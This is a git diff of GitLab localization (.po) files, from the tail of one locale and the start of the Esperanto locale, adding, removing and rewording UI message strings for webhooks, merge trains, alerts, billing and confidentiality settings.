+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/eo/gitlab.po b/locale/eo/gitlab.po
index d3dc1c8d04b..20ef5246c1d 100644
--- a/locale/eo/gitlab.po
+++ b/locale/eo/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: eo\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:40\n"
+"PO-Revision-Date: 2020-09-04 23:03\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] "%s enmetadoj estis transsaltitaj, por ne troÅarÄi la sistemon."
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "Aktiva"
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,14 +4001,17 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
-msgstr "La branĉo <strong>%{branch_name}</strong> estis kreita. Por agordi aÅ­tomatan disponigadon, bonvolu elekti Yaml-Åablonon por GitLab CI kaj enmeti viajn ÅanÄojn. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgstr ""
msgid "Branch has changed"
msgstr ""
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr "Nuligi"
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
